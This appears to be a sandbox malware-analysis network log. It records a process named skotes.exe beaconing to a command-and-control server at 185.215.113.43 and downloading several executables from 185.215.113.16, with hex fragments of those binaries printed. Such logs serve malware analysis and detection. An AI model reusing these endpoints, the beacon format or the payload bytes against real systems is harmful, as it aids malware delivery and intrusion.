mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@0L@WkD\|K,K @.rsrcD@.idata @ +@xywzvhpg01&@guxxlfzwK@.taggant0L" @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49932	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:03.657398939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 05:53:04.554028988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49943	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:06.071274996 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 1, 2024 05:53:07.002084017 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 33 30 39 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 39 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 33 30 39 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 39 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1003093001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003094001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003095001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003096001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49950	185.215.113.16	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:07.012151957 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 05:53:07.928847075 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:07 GMT Content-Type: application/octet-stream Content-Length: 3027456 Last-Modified: Fri, 01 Nov 2024 04:44:09 GMT Connection: keep-alive ETag: "67245c99-2e3200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 40 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 31 00 00 04 00 00 1c 39 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ@1@p19.@Th@ ~@.rsrc@@.idata @oxcwbfly+x+@bkmxxdia01.@.taggant0@1".@
Nov 1, 2024 05:53:07.928859949 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:07.928916931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:07.928929090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:07.928941011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:07.928951979 CET	1236	IN	Data Raw: 2f ef e1 f6 7a c2 cd d7 b2 3f 36 d8 1c 3b 50 ed 12 99 e1 3c 45 ca 27 d5 b5 ca 7f bd ba c5 5d 38 aa c9 91 c3 a1 f7 c5 47 25 fe 1d 88 b0 c1 78 64 30 cb 0b a8 2e 51 bf ec 1a aa 10 2f a6 d1 35 7c 98 de a5 fa ea 02 6d 69 a1 4a ee d0 77 8a d6 b5 2a 37 Data Ascii: /z?6;P<E']8G%xd0.Q/5\|miJw7 jCvUYG"#KNzL <C`$(F!Ex*eXb?c#V>{:?.,x]<7i:CiKm{.<_"K!w@B&?RD9\N@^1Xr
Nov 1, 2024 05:53:07.929013014 CET	1236	IN	Data Raw: 96 bf 64 78 c9 db ab f0 23 ea be 86 ed c2 a0 4b db 87 ff a8 1e 5d b6 88 eb 82 00 68 76 fa 15 8f 67 99 f1 fb eb 46 ad 20 09 9a 6e 11 93 47 09 b9 90 9b 29 2c 96 df 61 b0 09 97 07 12 90 d1 27 c4 17 5a 5f d9 93 26 b2 f8 39 be fa 27 79 9a 7e 86 19 46 Data Ascii: dx#K]hvgF nG),a'Z_&9'y~F')av&L1zu8nc0E6M7bMZ.i?F:Q[#0["h0i}!~4X)`?kn5>62Un ~gC0JL14C: m
Nov 1, 2024 05:53:07.929024935 CET	860	IN	Data Raw: 50 17 27 cb 22 32 04 04 38 c6 a5 f5 42 51 53 65 f6 48 dc 50 8f 02 54 10 c2 c6 25 ed ac a0 c4 d5 5d e7 81 7b 1a 7a 96 dc ba ea a8 0b 2b d9 c8 52 37 5b 7f dd e1 a9 db 3d 60 ea 3e c5 37 51 5e 36 b7 d6 7e 36 65 83 eb ac a9 5f f7 d1 b1 cf 08 da af 1f Data Ascii: P'"28BQSeHPT%]{z+R7[=`>7Q^6~6e_%u'!-P #* -w6i"\e$zN7U>F,: ~d^Gb%V:]vWQ{x8noipi/v!)i=R4;.{3_fQjEl
Nov 1, 2024 05:53:07.929034948 CET	1236	IN	Data Raw: 6f ff cf 3e 84 d3 f7 fe 83 d2 6d 3b 8a c0 ae bd c2 3a e7 d4 85 e9 8a 4e 37 b6 47 5d ef 7b ea 4d 24 78 7a 26 36 11 c1 af 0d cd 2e 08 9b 8a fd 87 c0 a7 54 a7 72 22 7c 3c 40 dd e8 f4 27 de b6 01 1b 42 20 0c 44 e2 0a 9b 0e 23 9a 8b 73 bf 75 e5 e2 5d Data Ascii: o>m;:N7G]{M$xz&6.Tr"\|<@'B D#su]eB?=k$P!P`A)\|V3K+wT>V )3zekE'w/%wFtx` +CT1;pW*)0(/~4f]
Nov 1, 2024 05:53:07.929045916 CET	1160	IN	Data Raw: ad 1d ce f9 36 9b 3f 10 37 03 e0 ef 2b 13 7d c6 1e e7 f5 aa 40 61 93 e6 42 93 6a 2a fa c0 95 21 63 57 95 da c7 73 a5 99 e1 c8 1e 70 56 ca aa e6 5a c6 f0 d9 cf 1d 37 b8 d1 a8 ab 4b 6f f6 8f fe 69 03 db 5c 2a da bf 1a 6a 8c 5e 35 2a a4 60 35 2c 33 Data Ascii: 6?7+}@aBj!cWspVZ7Koi\j^5`5,3^)Q7BU7gW,^o)v61=Xf?XN.nUYdg'c:4D1)0=+<GJc>zSd=JO%qPD\|\|nODc;Tg+&PNnVKO-
Nov 1, 2024 05:53:07.933901072 CET	1236	IN	Data Raw: 51 95 2f 16 51 9d 51 72 68 fa 7f 9e 3b da 3f 1e 5d 82 6c 06 67 1b 5f ef 62 d1 05 ef ae 0e f3 7d 6b ec 45 bd da e6 66 09 9f 48 3e 5c b3 0f d7 38 cf 9b d5 af 6a f4 93 ed ce e1 df cd dc 28 e8 3c f8 d1 7f 0e d7 2a 77 ba 2a c2 14 06 4f 6f 71 38 19 bb Data Ascii: Q/QQrh;?]lg_b}kEfH>\8j(<wOoq8giD\|)z@\|'*oD`{3i]-!hK1Q"N3QujD5.!6f)NitfVx-f{w?<<`i,y5Bo0Q'o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49980	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:12.477962017 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003093001&unit=246122658369
Nov 1, 2024 05:53:13.406539917 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49987	185.215.113.16	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:13.413502932 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 05:53:14.318572044 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:14 GMT Content-Type: application/octet-stream Content-Length: 2154496 Last-Modified: Fri, 01 Nov 2024 04:44:22 GMT Connection: keep-alive ETag: "67245ca6-20e000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 90 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 73 00 00 04 00 00 f4 94 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,s@s!@P.d. p.v@.rsrc .@.idata .@ *.@xugdxrgk0PY.@ygzrgnuss @.taggant0s" @
Nov 1, 2024 05:53:14.318591118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:14.318605900 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:14.318675041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:14.318687916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 05:53:14.318701029 CET	424	IN	Data Raw: 3e 08 ef 76 e9 02 99 64 fd f7 6d c4 96 c6 56 6d b1 a3 21 5a 0a d2 ee 3a b9 bf 59 d2 73 71 17 39 86 42 26 80 53 9f 27 68 dc aa 97 91 d6 e3 b1 63 dd 05 4d 82 44 57 bc 6c cd a1 25 a3 d2 ac 5a 27 c5 68 9d 83 c9 68 9d 83 cd 68 9d 83 b1 68 9d 83 b5 68 Data Ascii: >vdmVm!Z:Ysq9B&S'hcMDWl%Z'hhhhhhhhhq_]8:8(B[fxM('X'&^,S+3g5&'&O6(&7 #eIC9+oF\|
Nov 1, 2024 05:53:14.318722963 CET	1236	IN	Data Raw: e9 65 2b 40 f0 ab 38 4c d2 31 3a 08 90 91 b7 24 f0 70 e2 ef 99 7e 92 14 87 57 7b c7 55 ae cf 6a 82 d0 ad 9f d0 bd 17 54 02 18 a9 3f d6 0b 07 4c 03 1e e9 9e bf 03 00 a6 ab 57 ad af 0d 90 48 6a 75 c7 e4 5e ac c9 46 76 05 d7 9b 84 c1 32 63 32 a4 8e Data Ascii: e+@8L1:$p~W{UjT?LWHju^Fv2c2+po~:O($YqGM7w%'6B9i,\|"FN6M>+ywk+gcI2'`aIMR`Q(%C%q%{;zm#d![u`u+W+
Nov 1, 2024 05:53:14.318797112 CET	1236	IN	Data Raw: a8 ad 67 b3 a9 7a e7 84 19 d7 c8 28 fa 91 e4 74 df 6b d0 cd 1f 81 71 1f bb d4 49 c7 08 1b 41 93 51 7f ef 43 ce 89 18 7b 1b cf 98 8b be a3 86 c9 0f 2b 21 b8 0a 17 75 64 d0 d3 cd cb 55 bb 1e 64 49 a7 0f b5 57 71 36 5c 1a 7a d5 5e 02 31 41 12 e0 ab Data Ascii: gz(tkqIAQC{+!udUdIWq6\z^1AG/$+l~b\X-y+WKIh+!dud5Q~Sam#M!lz#M74I#CP`&"?=gIz6)#8Si6h+Y/j
Nov 1, 2024 05:53:14.318810940 CET	424	IN	Data Raw: ca 8c 1a c4 d5 0f 42 03 bc 48 c9 82 a5 7a 37 ac f0 f8 67 db 49 84 09 a0 92 7a 9f 9e 4e 34 39 7e 55 6b 29 93 02 62 af 1b e0 a7 d9 80 35 d8 dd b0 25 0f 9e d2 29 7a fa 89 03 94 39 20 bd f2 a3 a3 f1 6a 65 77 0a 88 3b 15 92 41 08 d4 95 7a 41 81 0e 9a Data Ascii: BHz7gIzN49~Uk)b5%)z9 jew;AzAEa7zH\|z7Lpwl3.`c9zL`KCcepdpbODNRz,oCJKUfSSYCa$
Nov 1, 2024 05:53:14.318875074 CET	1236	IN	Data Raw: 07 9a 31 76 a2 d2 e9 8d eb 83 b5 3e 29 7e 39 38 58 9b 1a 2c d9 4b d5 3e 1a fb 7b db 72 7a 45 23 58 4d 0d d8 bd 83 56 a3 19 7a 99 5f 63 31 39 ab df eb e8 f7 95 8c 9a 82 c5 71 07 ec 02 c7 ea bb 9b 8a 35 b5 97 db 1f 7d f3 74 2c c5 f8 9f ff 22 0d 74 Data Ascii: 1v>)~98X,K>{rzE#XMVz_c19q5}t,"te#o{%n}Mg7a7RHMz7HiWz:qu11HCkVyZT!cudoayi8@p'K =bs+
Nov 1, 2024 05:53:14.323575974 CET	1236	IN	Data Raw: 45 8f 89 02 0b 1b ea 31 eb 03 4d 4b 58 0b 1a 2c 49 67 c5 29 b3 d7 42 c7 85 b3 1f cc d5 a4 e0 ac c8 8b 6d af 01 a7 34 98 72 7a b7 97 91 58 e8 8f f5 7a 12 74 02 ea b4 6b bf 4f 36 64 72 7a 59 23 9d 4d 37 f0 da ad 17 7d 0d 7a 2c b5 f5 07 c5 e5 91 cb Data Ascii: E1MKX,Ig)Bm4rzXztkO6drzY#M7}z,=GVz_1Ac4\|oc-t1M'"9A{k2&:z {c,S~{+'ScaeGCq,7;fKO\D2\|,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49994	185.215.113.43	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:18.308151960 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003094001&unit=246122658369
Nov 1, 2024 05:53:19.211128950 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49995	185.215.113.16	80	2508	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:53:19.219510078 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 05:53:20.140280962 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 04:53:19 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Fri, 01 Nov 2024 04:00:04 GMT Connection: keep-alive ETag: "67245244-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3c 52 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL<R$g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Nov 1, 2024 05:53:20.140294075 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 1, 2024 05:53:20.140393019 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 1, 2024 05:53:20.140409946 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Nov 1, 2024 05:53:20.140422106 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Nov 1, 2024 05:53:20.140522003 CET	1236	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Nov 1, 2024 05:53:20.140532970 CET	1236	IN	Data Raw: 85 37 ff ff ff 83 39 12 0f 8c 5e 06 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 Data Ascii: 79^99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{le
Nov 1, 2024 05:53:20.140542984 CET	1236	IN	Data Raw: 75 37 8b 7e 04 8b 47 30 89 45 fc 85 ff 74 1d 8d 4f 20 e8 2c a7 00 00 8d 4f 10 e8 24 a7 00 00 6a 38 57 e8 49 d5 01 00 8b 45 fc 59 59 89 46 04 88 5e 09 ff 0e 5f 5e 5b c9 c3 b3 01 eb f2 55 8b ec 57 8b f9 80 7f 09 00 0f 85 0a 02 04 00 56 6a 38 e8 29 Data Ascii: u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4
Nov 1, 2024 05:53:20.140554905 CET	1236	IN	Data Raw: ff 15 30 c7 49 00 68 d4 ca 49 00 66 a3 94 13 4d 00 ff 15 20 c7 49 00 a3 08 19 4d 00 8d 45 f4 50 c7 45 f4 08 00 00 00 c7 45 f8 3b 01 00 00 ff 15 ac c0 49 00 6a 01 6a 01 6a 21 6a 10 6a 10 ff 15 b0 c0 49 00 68 a9 00 00 00 ff 35 04 19 4d 00 a3 5c 19 Data Ascii: 0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVWhP1IP}=_^UX`dMVuWG~"uQVq
